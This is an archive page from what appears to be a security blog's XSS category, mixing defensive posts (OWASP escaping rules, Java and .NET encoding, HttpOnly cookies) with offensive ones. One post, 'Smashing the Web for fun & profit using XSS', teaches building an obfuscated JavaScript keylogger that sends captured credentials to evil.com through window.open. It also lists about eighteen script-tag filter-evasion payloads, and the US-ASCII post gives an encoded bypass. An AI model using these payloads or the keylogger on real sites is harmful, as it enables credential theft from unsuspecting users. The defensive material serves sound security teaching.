Archive for the ‘ XSS Hacking’ Category

XSS Hacking XSS (Cross Site Scripting) Prevention Cheat Sheet from OWASP

0 Comments

Introduction

This article provides a simple positive model for preventing XSS using output escaping/encoding properly. While there are a huge number of XSS attack vectors, following a few simple rules can completely defend against this serious attack.

These rules apply to all the different varieties of XSS. Both reflected and stored XSS can be addressed by performing the appropriate escaping on the server-side. The use of an escaping/encoding library like the one in ESAPI is strongly recommended as there are many special cases. DOM Based XSS can be addressed by applying these rules on the client on untrusted data.

For a great cheatsheet on the attack vectors related to XSS, please refer to the excellent XSS Cheat Sheet by RSnake. More background on browser security and the various browsers can be found in the Browser Security Handbook.

Untrusted Data

Untrusted data is most often data that comes from the HTTP request, in the form of URL parameters, form fields, headers, or cookies. But data that comes from databases, web services, and other sources is frequently untrusted from a security perspective. That is, it might not have been perfectly validated. The OWASP Code Review Guide has a decent list of methods that return tainted data in various languages, but you should be careful about your own methods as well.

Untrusted data should always be treated as though it contains an attack. That means you should not send it anywhere without taking steps to make sure that any attacks are detected and neutralized. As applications get more and more interconnected, the likelihood of a buried attack being executed by a downstream interpreter increases rapidly.

Traditionally, input validation has been the preferred approach for handling untrusted data. However, input validation is not a great solution for injection attacks. First, input validation is typically done when the data is received, before the destination is known. That means that we don’t know which characters might be significant in the target interpreter. Second, and possibly even more importantly, applications must allow potentially harmful characters in. For example, should poor Mr. O’Malley be prevented from registering in the database simply because SQL considers ‘ a special character?

While input validation is important and should always be performed, it is not a complete solution for injection attacks. It’s better to think of input validation as Defense in depth" href="http://www.owasp.org/index.php/Defense_in_depth">defense in depth and use escaping as described below as the primary defense.

Escaping (aka Output Encoding)

Escaping” is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter’s parser. There are lots of different types of escaping, sometimes confusingly called output “encoding.” Some of these techniques define a special “escape” character, and other techniques have a more sophisticated syntax that involves several characters.

Do not confuse output escaping with the notion of Unicode character encoding, which involves mapping a Unicode character to a sequence of bits. This level of encoding is automatically decoded, and does not defuse attacks. However, if there are misunderstandings about the intended charset between the server and browser, it may cause unintended characters to be communicated, possibly enabling XSS attacks. This is why it is still important to specify the Unicode character encoding (charset), such as UTF-8, for all communications.

Escaping is the primary means to make sure that untrusted data can’t be used to convey an injection attack. There is no harm in escaping data – it will still render in the browser properly. Escaping merely prevents attacks from working.

Reference: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS Hacking Preventing XSS in java…

0 Comments

Cross site scripting issues are everywhere – I’ll try to provide as many resources as possible for programmers in different programming languages and show them how to take the basic steps in the way of protection.

Remember the basics: Always perform encoding at the time of displaying dynamic data to browsers. If you browse around the blog you should find more information on XSS and how to educate yourself as a programmer or individual (well programmers are individuals too, yeah.)

If your programming language is Java, then you should take a look at the StringEscapeUtils java class which belongs to the Apache commons namespace. It provides a nice set of encoding methods/functions that you need to have handy at the time of programming web based interfaces.

The Url for such class can be found here:

http://jakarta.apache.org/commons/lang/api/org/apache/commons/lang/StringEscapeUtils.html

In addition to providing encoding methods, the StringEscapeUtils class also provides decoding functionality – both encoding and decoding available in their Html, Javascript, Java, Xml and SQL versions (this last one not meant for XSS, but worth mentioning.)

Here’s a table of the different methods and references:

staticString escapeHtml(String str)
Escapes the characters in a String using HTML entities.

I will also cover in future posts any other encoding libraries available out there. For the moment, a nice alternative could be Michael Eddington’s encoding library named ‘Reform’ and which has recently (?) been adopted by the OWASP Encoding project. The library and the project can be found at:http://www.owasp.org/index.php/Category:OWASP_Encoding_Project

XSS Hacking Bypassing XSS web filters by using US ASCII encoding…

Comments Off

Introduction

Not a few articles have been written about the subject I am going to write the article about. And what I am going to comment on, as you already guessed is US ASCII encoding used to by pass the web filters. Now when initially I found this vulnerability, actually I did not find it someone else did I just think it is interesting, I thought the this is going to have a mass impact all web sites!! but unfortunately or fortunately it does not. Anyway, the issues is that the character set ASCII encodes every character with 7 bits. Internet connections transmit octets with 8 bits. If the content of such a transmission is encoded in ASCII, the most significant bit must be ignored.

The Security problem

Of the tested browsers Firefox 1.5 and above, Opera 8.5 and above and Internet Explorer 6 and 7, only the Internet Explorer versions does this correctly, the others evaluate the bit and display the characters as if they were from the character set ISO-8859-1. Although the behavior of the Internet Explorer is the correct one, this creates a security risk: the author of a web page can set the bit on arbitrary characters without changing the look of the page. But virus scanners and content filters see completely different characters, so that there programs cannot detect viruses or Spam. [1]

What do we mean by saying US-ASCII

There are several national variants of ASCII. In such variants, some special characters have been replaced by national letters (and other symbols). There is great variation here, and even within one country and for one language there might be different variants. The original ASCII is therefore often referred to as US-ASCII; the formal standard (by ANSI) is ANSI X3.4-1986.[5]

The name ASCII, originally an abbreviation for “American Standard Code for Information Interchange”, denotes an old character repertoire, code, and encoding.

Most character codes currently in use contain ASCII as their subset in some sense. ASCII is the safest character repertoire to be used in data transfer. However, not even all ASCII characters are “safe”!

ASCII has been used and is used so widely that often the word ASCII refers to “text” or “plain text” in general, even if the character code is something else! The words “ASCII file” quite often mean any text file as opposite to a binary file.

The phrase “original ASCII” is perhaps not quite adequate, since the creation of ASCII started in late 1950s, and several additions and modifications were made in the 1960s. The 1963 version had several unassigned code positions. The ANSI standard, where those positions were assigned, mainly to accommodate lower case letters, was approved in 1967/1968, later modified slightly. For the early history, including pre-ASCII character codes, see Steven J. Searle’s A Brief History of Character Codes in North America, Europe, and East Asia and Tom Jennings’ ASCII: American Standard Code for Information Infiltration. See also Jim Price’s ASCII Chart, Mary Brandel’s 1963: ASCII Debuts, and the computer history documents, including the background and creation of ASCII, written by Bob Bemer, “father of ASCII”.[5]

The explanation

Lets say for example that we want to see if a website is encoding or filtering the < character, what someone would do is to inject < and see what the web application would return.

Now if the web app returns something like < or < then the web application is probably not vulnerable to XSS, now if the web app is using the US-ASCII then things change for IE6/7. IE is going to process all US-ASCII encoding with the most significant bit set .To process for example the < character with IE first we have to convert < to hex meaning in 3c and add hex 80, meaning 3c+80 = bc and then we do a url encoding, then the < is equivalent to %bc for IE6/7 this is a valid encoding.

This offers spammers and virus writers the possibility to bypass installed spam and virus filters. We checked several filter products and all of these failed to detect the manipulated web pages. But it should be quite easy to close this hole by clearing the most significant bit on ASCII encoded web pages before analyzing them.

The JavaScript code:

<script>alert(”This is some obfuscated script!”);</script>

Here is some C# code that removes the most significant bit from the javascript:

int char1;
Char c1;
FileStream fs = new FileStream([file path], FileMode.Open);
BinaryReader r = new BinaryReader(fs);

r.BaseStream.Seek(0, SeekOrigin.Begin);

while (r.BaseStream.Position < r.BaseStream.Length)
{
char1 = r.ReadByte();
char1 = char1 – 0×80;
c1 = (Char)char1;
Console.Write(c1);
}

Code example 1:Removing most significant bit [2].

NOTE1: there has been significant discussion about this issue, and as of 20060625, it is not clear where the responsibility for this issue lies, although it might be due to vagueness within the associated standards.[3]

NOTE2: this might only be exploitable with certain encodings.[3]

Impact

CVSS Severity (version 2.0 upgrade from v1.0):
CVSS v2 Base score: 2.6 (Low) (AV:N/AC:H/Au:N/C:N/I:P/A:N) (legend)
Impact Subscore: 2.9
Exploitability Subscore: 4.9 [3]

Access Vector: Network exploitable , Victim must voluntarily interact with attack mechanism
Access Complexity: High
Authentication: Not required to exploit
Impact Type: Allows unauthorized modification [3]

Current situation

I?€™m happy to report that IE8 is delivering additional XSS-Focused Attack Surface Reduction goodness. For Beta 1 you will notice a small but notable step forward ?€“ the US-ASCII XSS attack vector has now been closed.

References to Advisories, Solutions, and Tools [3]

External Source: XF (disclaimer) Name: ie-ascii-encoded-web-filter-bypass(27288)

Hyperlink: http://xforce.iss.net/xforce/xfdb/27288

External Source: BUGTRAQ (disclaimer) Name: 20060623 Re: Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/archive/1/438163/100/0/threaded

External Source: BUGTRAQ (disclaimer) Name: 20060623 RE: Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/archive/1/438154/100/0/threaded

External Source: BUGTRAQ (disclaimer) Name: 20060622 Re: Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/archive/1/438066/100/0/threaded

External Source: BUGTRAQ (disclaimer) Name: 20060621 Re: Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/archive/1/438049/100/0/threaded

External Source: BUGTRAQ (disclaimer) Name: 20060621 Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/archive/1/437948/100/0/threaded

External Source: BUGTRAQ (disclaimer) Name: 20060621 Re: Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/438051/100/0/threaded

External Source: (disclaimer)

Hyperlink: http://ha.ckers.org/blog/20060621/us-ascii-xss-part-2

External Source: BUGTRAQ (disclaimer) Name: 20060626 RE: Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/archive/1/438359/100/0/threaded

External Source: BUGTRAQ (disclaimer) Name: 20060626 Re: Bypassing of web filters by using ASCII

Hyperlink: http://www.securityfocus.com/archive/1/archive/1/438358/100/0/threaded

External Source: OSVDB (disclaimer) Name: 28376

Hyperlink: http://www.osvdb.org/28376

External Source: (disclaimer)

Hyperlink: http://ha.ckers.org/blog/20060621/malformed-ascii-bypasses-filters/

Vulnerable software and versions

Configuration 1
??’ Microsoft, Internet Explorer, 6.0.2900

Reference[1]:http://www.iku-ag.de/sicherheit/ascii-eng.jsp

Reference[2]:http://blogs.msdn.com/dross/archive/2006/10/01/780339.aspx

Reference[3]:http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-3227

Reference[4]:http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx

Reference[5]:http://www.cs.tut.fi/~jkorpela/chars.html#examples

XSS Hacking Smashing the Web for fun & profit using XSS

2 Comments

Introduction

This article is dedicated to all this people that believe XSS is not a serious Web application vulnerability. Using XSS vulnerabilities someone can actually make lots of money. I don’t have any responsibility how this knowledge is going to be used, this article was created out of love of hacking and not to hack other people sites. Recently I became very interested to XSS and decided to write an article that fully explains how to inject a JavaScript key logger, and by saying fully explain I mean describe in full detail how can someone perform XSS filter invasion and run my JavaScript key logger in order to steal user names, passwords and user credentials. The scary part is that you don’t have to be a JavaScript expert to write effective JavaScript malicious code, you just have to have a good understanding of the Web. In the following article I provide the reader with two flavors of practically the same JavaScript key logger.

In order to understand this article you have to know:

  1. How to write Html web forms (look at [4]).
  2. How to write JavaScript DOM objects (look at [3]).
  3. Basic functionality of Http protocol (look at [1]).
  4. Understand JavaScript what obfuscation is (have a look at [5]).
  5. Understand how to use Burp Suite1.1 (look at [6]).

The functionality of your XSS

Before you exploit an XSS someone has to understand what is the functionality a XSS exploit should have. By saying functionality I mean what is the reason of your XSS, e.g. to deface a website, to cause a redirect or to steal user credentials (something that is the most interesting!!). In our situation we have to think about writing a key logger XSS. So that is why we have to make some thoughts about what is a log-in page form, from the user perspective, for example what is the average user name and password length? And how fast an average user is typing? We are going to use this information to build up two flavors of JavaScript key loggers that run in IE, Firefox, Opera and Netscape. So our program is going to steal the user credential based on time (e.g. auto execute after certain amount of time), password length (e.g. auto execute after the user types 5 characters) or based on both time and password length (e.g. maybe perform some character mapping, like check if Enter or Tab buttons have been pressed).

How fast do you type?

Why should we think about this factor? Because we have to make more effective our key logger.For the purposes of WPM measurement a word is standardized to five characters or keystrokes. In one study of average computer users, the average rate for transcription was 33 words per minute, and only 19 words per minute for composition.[8] In the same study, when the group was dividing into “fast”, “moderate” and “slow” groups, the average speeds were 40 wpm (words per minute), 35 wpm, and 23 wpm respectively. Two-finger typists, sometimes also referred to as “Hunt-and-Peck” typists, can reach speeds of about 37 wpm for memorized text, and 27 wpm when copying text.[9]

An average typist reaches 50 to 70 wpm, while some positions can require 80 to 95 (usually the minimum required for dispatch positions and other typing jobs), and some advanced typists work at speeds above 120.[7]

Using a personalized interface, quadriplegic physicist Stephen Hawking managed to type 15 wpm with a switch and adapted software created by Walt Woltosz. Due to a slowdown of his motor skills, his interface was upgraded with an infrared camera that detects eye blinks. The actual wpm is unknown.[7]

What is you average password and user name length?

That is truly a hard question to answer because data is scarce. But recently, some spoils from a MySpace phishing attack: 34,000 actual user names and passwords revealed some truths.[10]The attack was pretty basic. The attackers created a fake MySpace login page, and collected login information when users thought they were accessing their own account on the site. The data was forwarded to various compromised web servers, where the attackers would harvest it later.[10]

MySpace estimates that more than 100,000 people fell for the attack before it was shut down. The data I have is from two different collection points, and was cleaned of the small percentage of people who realized they were responding to a phishing attack. I analyzed the data, and this is what I learned.[10]

Password Length:

While 65% of passwords contain eight characters or less, 17% are made up of six characters or less. The average password is eight characters long.[10]

Specifically, the length distribution looks like this:

1-4 0.82%
5 1.1%
6 15%
7 23%
8 25%
9 17%
10 13%
11 2.7%
12 0.93%
13-32 0.93%

Character Mix: While 81% of passwords are alphanumeric, 28% are just lowercase letters plus a single final digit — and two-thirds of those have the single digit 1. Only 3.8% of passwords are a single dictionary word, and another 12% are a single dictionary word plus a final digit — once again, two-thirds of the time that digit is 1.

numbers only 1.3%
letters only 9.6%
alphanumeric 81%
non-alphanumeric 8.3%

Make some use of the information we have

We can understand now that it is very probable that the password length 8 characters and if we assume that the user name 7 characters, because an average person types 37 wpm of memorized text and passwords are memorized text that means that:

Username + Password = 15 characters approximately

One word = 5 characters

Which means that Username + Password = Three words so:

37/3 = 1/x => 37x = 1 => x =1/37 Minutes

or x = 1/37 * 60000 Milliseconds = 1621 Milliseconds (I will explain later why you need milliseconds)

Now we know how much time the average user takes to type his user name and password, we also know that he might also press the Tab or Enter key to switch between text fields and sent the form data. So after the user enters the lo-gin page the key logger is going to check time, the Enter key and the length of the password.

Now lets start with our key logger. In our key logger we have to use the DHTML keypress event which we are going to have to inject some how into the form, the setTimeout JavaScript function and the window object and call the window.open method to execute our code (so that the user wont be redirected into another page if we use the document.location DOM object or we can use the document object, steal the password and the perform a phising attack).

The key logger can became more efficient if we know the password security policy of the web site we are trying to exploit, because if for example the password consists of three letters, two special characters and three numerical characters we can design the key logger so it can detect the format of the password and execute itself after it detects what you are typing (by checking out the length or the characters), the same is valid for the user name.

First version of our JavaScript key logger….

The version of the key logger presented below is not the most efficient, we are going to make lots of modification through out this article. So our first key logger is an easy code example to understand the basics, lets not for now worry about how we are going to inject the javascript and just focus on making functional code first. In the code below we set two variables counter and arrayOfChars, the first variable is going to count how many key presses the user had and the second variable is going to hold all are characters untill we sent them. To sent the characters, we recorded we are going to use the object document.location, but that would mean that the user is going to be redirected from the original web page to another web page! and that would be ok for the first version of our key logger and for simplicity reasons!

Code


Code example1: A simple version of the key logger, using as a condition to execute the recording of three letter word.

Second version of our JavaScript key logger….

So our code is going to execute conditionally, but what about also more efficiently? Well if we use the setTimeout javascript object we can have more effective results by making valid assumptions about how long is going to take to type the user name and the password (by using the data previously displayed above!).

So here is how setTimeout works!

setTimeout()

window.setTimeout() allows you to specify that a piece of JavaScript code (called an expression) will be run a specified number of milliseconds from when the setTimeout() method was called. The general syntax of the method is:[11]

setTimeout ( expression, timeout );

where expression is the JavaScript code to run after timeout milliseconds have elapsed.[11]

setTimeout() also returns a numeric timeout ID that can be used to track the timeout. This is most commonly used with the clearTimeout() method (see below).[11]

Here’s a simple example:

<input type="button" name="clickMe" value="Click me and wait!" onclick="setTimeout('alert(\'Surprise!\')', 5000)"/> [11] 
Here is the html form that uses the onkeypress event:

Html form....

Code example2: Html text box

The above code is going to execute our keyLogger function each time a key is pressed. Now our function is using a global variable called counter that stores the values until the user navigates to another web page!

When we are going to inject our code, we have to override the event in the web form (if one exists!). Which means that we have to insert our code before the event and comment out the rest of the code! (I will explain later all about it). The code expression we are going to write is going to be using the JavaScript timeout like that:

function autoTrigger() { setTimeout(’sentData()’,1621 ); }

Code example3: This function is going to replace function sentData in line 28 in code example 1

The html code in code example 2 won’t change at all, we have to change only line 28! and our code is going to auto trigger after 1621 milliseconds and only if the length of the word we insert inside the is longer than 3 characters….

To make are logger more interesting we have to change both the execution conditions and the html form input. We will detect the enter and keywords and assume the length of the user name and password are 15 characters…….

To do that we have to change the only the sentData() function and make it look like that:

function sentData(var _keyNum){
if (arrayOfCharsToSent.length <= 15 && _keyNum == 13) {// 13 is the ascii numerical value of enter….
window.open(’http://www.evil.com/cgi?’+arrayOfCharsToSent.toString(),
‘jav’,
‘menubar=no,toolbar=no,scrollbars=no,width=1,height=1,resizable=yes’);
new_Win.blur()// This code is going to minimize the popup window
}
}

Now our key logger would look like this:

More modifications to the code

Now we have to optimize compress and obfuscate our code in order to invade the web filters, so after some processing the code will look like that:

Now our code is shortened and ready to be obfuscated. To obfuscate the code we will have to use an online tool. Online JavaScript Obfuscater confuses local variables, arguments of functions and methods, but doesn’t confuse javascript core and client’s functions, constructors, methods or properties. It is compatible with Core JavaScript, Client-Side JavaScript, W3C DOM, XML, XML Schemas(SOM), XSLT, AJAX(XMLHTTP) and other third party object. You may decide if confusing your owner’s global variables, functions, constructors, methods and properties in source code, according to obfuscating rules. The Obfuscater we are going to use is http://iframe.in/.[12]

But first we are going to compress more the code:

And now we will obfuscate the code using iframe.in :

<<<< Click on the image to enlarge it….>>>>>

Analyzing our needs

The above image is showing the options the obfuscater gave us to invade out filter. By saying that I mean that first we have to probe the filter to see what sort of encoding or filtering is doing (e.g. which characters removes). Now the only obvious issue here is the script tags, meaning that our tool did not encoded the <script> tag. Which means that we have to use other tricks to bypass filters that remove the script tag. Lets for now assume that the imaginary filters accept single quotes and parenthesis characters, with this assumption we can successfully use the Unicode and Unescape attacks.

By passing the the script issue

Below I am listing possible script tag alterations that I found in XSS cheat sheet and some that I have been using for probing XSS filters:

  1. <script>alert(document.cookie)</script>
  2. <script>alert(document.cookie);</script>
  3. <script>alert(”XSS”)</script>
  4. <script >alert(document.cookie)</script >
  5. <script>alert(String.fromCharCode(88,83,83))</script>
  6. <script/*aaaaaa*/>/*aaaaa*/alert(String.fromCharCode(88,83,83))/*aaaaa*/</script/*aaaaa*/>
  7. <script/**/>/**/alert(String.fromCharCode(/**/88,/**/83,/**/83))/**/</script/*aaaaa*/>
  8. <script/**/>/**/alert(’/**/XSS/**/’)/**/</script/*aaaaa*/>
  9. <script/**/>/**/alert(”/**/XSS/**/”)/**/</script/*aaaaa*/>
  10. <script type=”text/JavaScript”>alert(document.cookie)</script>
  11. <script language=”JavaScript” type=”text/JavaScript”>alert(document.cookie)</script>
  12. <script language=”JavaScript” type=”text/JavaScript”>alert(document.cookie)</script>
  13. <script language=”JaVaScRiPt” type=”text/JavaScript”>alert(document.cookie)</script>
  14. <script language=”JaVaScRiPt”>alert(document.cookie)</script>
  15. <script language=”JavaScript”>alert(document.cookie)</script>
  16. <a href=”javascript:document.location=’http://www.eviltarget.com/’”>XSS</a>
  17. ??script??alert(??XSS??)??/script??
  18. %A7%A2%BE%BC%F3%E3%F2%E9%F0%F4%BE%E1%EC%E5%F2%F4%A8430638%A9%BC%AF%F3%E3%F2%E9%F0%F4%BE

The basic rule is to avoid characters that are used to SQL injection and XSS attacks like single quotes, the dash character, the dot character and of course the script tag e.t.c.

Handling encoding filters

So after we do some XSS filter probing then we can start experimenting. The above method would work better in DOM based attacks or attacks that that you don’t need to include the script tag at all. Someone can very easily see that by using python. Try for example to escape the characters, by doing something like that:

cgi.escape(”XSS_payload”)

And see what is returned back. All above encoding (excluding raw html) remains unaffected (if we exclude of course the script tag).

Injecting the code

To be continued…

Reference [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

Reference [2]: http://www.ietf.org/rfc/rfc2109.txt

Reference [3]: http://www.w3schools.com/JS/default.asp

Reference [4]: http://www.w3schools.com/html/html_forms.asp

Reference [5]: http://www.javascriptobfuscator.com

Reference [6]: http://portswigger.net/suite/

Reference [7]: http://en.wikipedia.org/wiki/Words_per_minute

Reference [8]: Karat, C.M., Halverson, C., Horn, D. and Karat, J. (1999), Patterns of entry and correction in large vocabulary continuous speech recognition systems, CHI 99 Conference Proceedings, 568?€“575.

Reference [9]: Brown, C. M. (1988). Human-computer interface design guidelines. Norwood, NJ: Ablex Publishing.

Reference [10]: http://johanlouwers.blogspot.com/2006_12_17_archive.html

Reference [11]: http://elated.com/articles/javascript-timers-with-settimeout-and-setinterval/

Reference [12]:http://www.advancescripts.com/detailed/12532.html

Reference [13]:http://javascriptcompressor.com/

Reference [13]:http://iframe.in/

XSS Hacking Web app secuirty books…

0 Comments

Cross Site Scripting Exploits and Defense

Subject: XSS attacks, tools and how to exploite them.

Comments: Some times is not explaining enough the code displayed in examples but over all impression is very cood.

Authors: RSnake,pdp,Anton Rager and Jeremiah Grossman.

Audience: Pentesters and web developers.

Rating: 9/10.

The Web Application Hacker’s Handbook

Subject: Explains how to Hack web Applications (you can find in Amazon)

Comment: Not too technical, very well written.

Authors: Dafydd Stuttard (Author) and Marcus Pinto (Author)

Audience: Pen testers, Web Administrator, Web Developers, Security Analysts

Rating: 10/10.

Ajax Security

Ajax book

Subject: Explains Ajax attacks, and how to exploite them but sometimes is too theoretical.

Authors: Billy Hoffman and Bryan Sullivan

Audience: Pentesters, Security Analysts, technical Project Managers and web developers.

Rating: 8/10.

The Shellcoder’s Handbook

Shell coding books

Subject: Explains how to write exploits using low level tools.

Description: Found hard to understand some chapters, but over all impression was good.

Authors: Jack Koziol, David Litchfield, Dave Aitel, Chris Anley , Sinan “noir” Eren, Neel Mehta and Riley Hassell

Audience: Pure Geeks.

Rating: 7/10.

Web 2.0 Security – Defending AJAX, RIA, AND SOA

Ajax <span style=Security book" width="240" height="240" />

Subject: Explains how to test ajax and talks about how can you design secure Ajax based apps.

Comment: Boring, want tell you something very useful unless you dont know mush about security.

Authors: Shreeraj Shah .

Audience: Mostly Pentesters, Security Analysts and Web developers.

Rating: 6.5/10.

Pro Web 2.0 Application Development with GWT

Comment: Boring, want tell you something very useful unless you do n’t know mush about security.

Authors: Jeff Dwyer.

Audience: Web developers.

Rating: 5/10.

The Database Hacker’s Handbook

Subject: Explains how to test database security.

Comment: Very technical.

Authors: David Litchfield, Chris Anley, John Heasman, Bill Grindlay .

Audience: Pentesters.

Rating: 8/10.

Security fuzzing

Subject: Explains how to fuzz.

Comment: Very technical.

Authors: Michael Sutton.

Audience: Pentesters.

Rating: 9/10.

Exploiting

Hacking: The Art of Exploitation, 2nd Edition

Subject: Explains how to hack starting form a very low level.

Comment: Very technical.

Authors: Jon Erickson.

Audience: Pentesters.

Rating: 9/10.

The Definitive Guide of Http

Subject: Explains how http works.

Comment: Not too technical, very well written.

Authors: David Gourley (Author) and Brian Totty (Author)

Audience: Pen testers, Web Administrator, Web Developers.

Rating: 9/10.

Secrets of Reverse Engineering

Subject: Explains on how to reverse engineer.

Comment: Not too technical, very well written.

Authors: Eldad Eilam.

Audience: Pen testers, Web Administrator, Web Developers.

Rating: 9/10.

XSS Hacking Defending against XSS with .NET

0 Comments

Use the HttpOnly Cookie Option

Internet Explorer 6 Service Pack 1 and later supports the? HttpOnly cookie attribute, which prevents client-side scripts from accessing a cookie using the DOM object document.cookie. If someone uses the that particular DOM object? the script will return an empty string. The cookie is still sent to the server whenever the user browses to a Web site in the current domain. Now if you use .NET to set the HttpOnly attribute to true, what practically happens is that the Http header response field Set-Cookie adds one more attribute (except from the ones that is already supposed to have) at the of the line called HttpOnly.? It? looks something like that:

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

Now if the Web browser is IE 6 with sp1 and above it wont allow JavaScript DOM object to access the cookie, but if any other browser is used then it does not provide any protection. The thing is that the Set-Cookie is actually used when the web server decides for the first time to log your activity as a web user, meaning for example the after a successful authentication your cookie is going to be used probably as a security token. The following picture shows how someone can use social engineering to make you execute malicious JavaScript and steal your cookie [5].

How HttpOnly helps to prevent XSS

Picture : HttpOnly option in action [1].

Note: Web browsers that do not support the HttpOnly cookie attribute either ignore the cookie or ignore the attribute, which means that it is still subject to cross-site scripting attacks [5].

The System.Net.Cookie class

The System.Net.Cookie class in Microsoft .NET Framework version 2.0 supports? the HttpOnly property. The HttpOnly property is always set to true? when someone is using the? Form authentication. Earlier versions of the .NET Framework (versions 1.0 and 1.1) require that you add code to the? Application_EndRequest event handler in your application Global.asax file to explicitly set the HttpOnly attribute.? The code that is actually enabling you to use HttpOnly cookie is:

Visual Basic (Usage)

Dim instance As Cookie Dim value As Boolean value = instance.HttpOnly instance.HttpOnly = value

Code Example: HttpOnly option set using code[3].

In ASP.NET 1.1 the System.Net.Cookie class does not support the HttpOnly property. Therefore, to add an HttpOnly attribute to the cookie you must add the following code to your application’s Application_EndRequest event handler in Global.asax [4]:

protected void Application_EndRequest(Object sender, EventArgs e)

{

string authCookie = FormsAuthentication.FormsCookieName;

foreach (string sCookie in Response.Cookies)

{

if (sCookie.Equals(authCookie))

{

Response.Cookies[sCookie].Path += “;HttpOnly”;

}

}

}

Code Example: HttpOnly option set using Global.asax[4].

It is important for the developer to understant that this property is already set by default for Authentication and Sessions cookies in ASP.NET 2.0 but not for manually issued cookies.? Therefore, you should consider enabling this option for your manually issued cookies as well.? This option can be enabled in web.config by modifying the httpCookies element as in the example below [4]:

<httpCookies httpOnlyCookies=true />

Code Example: HttpOnly option set using web.config [4].

Do Not Rely only in the HttpOnly flag for XSS issues

The HttpOnly protection mechanism is useful only in case where the attacker is not skillful enough to undertake other means for attacking the remote application and subsequently the user. Although, session hijacking is still considered the only thing you can do when having XSS, this is for from what is actually possible. The truth is that session hijacking is probably one of the least things the attacker will do for a number of reasons. The most obvious reason is that XSS attacks, although could be targeted, are not instant, like traditional overrun attacks where the attacker point the exploit to a remote location and gain access right away. For an XSS attack to be successful, sometimes it is required a certain period of time. It is highly unlikely that the attacker will wait all the time just to get a session which could be invalid a couple of moments later when the user clicks on the logout button. Remember, session hijacking is possible because concurrent sessions are possible [2].

The only and most effective way to attack when having XSS hole is to launch an attack right on place when the payload is evaluated. If the attacker needs to transfer funds or obtain sensitive information, they most probably will use the XMLHttpRequest object in the background, to automate the entire process. Once the operation is completed, the attacker could leave the user to continue with their normal work or maybe gain full control of the account my resetting the password and destroying the session by performing a logout operation [2].

What to do besides using HttpOnly flag (which is a lot)

Evaluate your specific situation to determine which techniques will work best for you. It is important to note that in all techniques, you are validating data that you receive from input and not your trusted script (use must check every single field). Essentially, prevention means that you follow good coding practice by running sanity checks on your input to your routines [6].

The following list outlines the general approaches to prevent cross-site scripting attacks:

?€? Encode output based on input parameters
?€? Filter input parameters for special characters.
?€? Filter output based on input parameters for special characters.

When you filter or encode, you must specify a character set for your Web pages to ensure that your filter is checking for the appropriate special characters. The data that is inserted into your Web pages should filter out byte sequences that are considered special based on the specific character set. A popular charset is ISO 8859-1, which was the default in early versions of HTML and HTTP. You must take into account localization issues when you change these parameters [6].

<%@? Page? Language=“vb” %>

<html>

<head>

<title>Server? property? example</title>

<script? runat=“server”>

Sub Page_Load()

Message.Text? =? Server.HtmlEncode(“<em>Hello,? World!</em>”)

End? Sub

</script>

</head>

<body>

<asp:label? id=“Message” runat=“server”/>
</body>
</html>

Code Example: HtmlEncode used to sanitized web fields [8].

Anti-XSS tools? for .NET

So what was wrong with using System.Web.HttpUtility.HtmlEncode?? The problem with HttpUtility class is it was based upon deny-list (e.g. black listing approach)? approach?€”in which I mentioned an earlier blog on the down fall with this approach?€”versus a Accept-only approach.? As a result of the deny-list approach the HttpUtility.HtmlEncode as only good against the following characters:

1. <
2. >
3. &
4. ?€?
5. Characters with values 160-255 inclusive

The Microsoft Anti-XSS tool follows an Accept-only approach (e.g.? white? listing approach) in which this tool looks for a finite set of valid input and everything else is considered invalid.? This approach will provide a more comprehensive protection to XSS and reduce the ability to trick HttpUtility.HtmlEncode with canonical representations attacks [7].

You will find that the Anti-XSS tool works much like HttpUtility.HtmlEncode:

AntiXSSLibrary.HtmlEncode(string)

AntiXSSLibrary.URLEncode(string)

Now all characters will be encoded except for [7]:

1. a-z (lower case)
2. A-Z (upper case)
3. 0-9 (Numeric values)
4. , (Comma)
5. . (Period)
6. _ (Underscore)
7. – (dash) 8. (Space)?€”Except for URLEncode

You can download Anti-XSS tool from:

http://www.microsoft.com/downloads/details.aspx?familyid=9a2b9c92-7ad9-496c-9a89-af08de2e5982&displaylang=en

Do Not Rely on user input filtering but also at output user filtering

A common practice is for code to attempt to sanitize input by filtering out known unsafe characters (e.g. black listing known malicious input). Do not rely on this approach because malicious users can usually find an alternative means of bypassing your validation. While writing this article only IE supports HttpOnly, but there is a firefox plugin called HttpOnly5.0. It provides support for HttpOnly option to Firefox by encrypting cookies marked as HttpOnly on the browser side, so that JavaScript cannot read them. Firefox 2.0.0.5, which was released just the other day, now supports it now. [9] HttpOnly makes XSS much more harder to achive and support for this is already in the Firefox 3 alphas, if you are inclined to use them, otherwise you?€™ll have to wait until November or so for the first official ff3 release.[10]

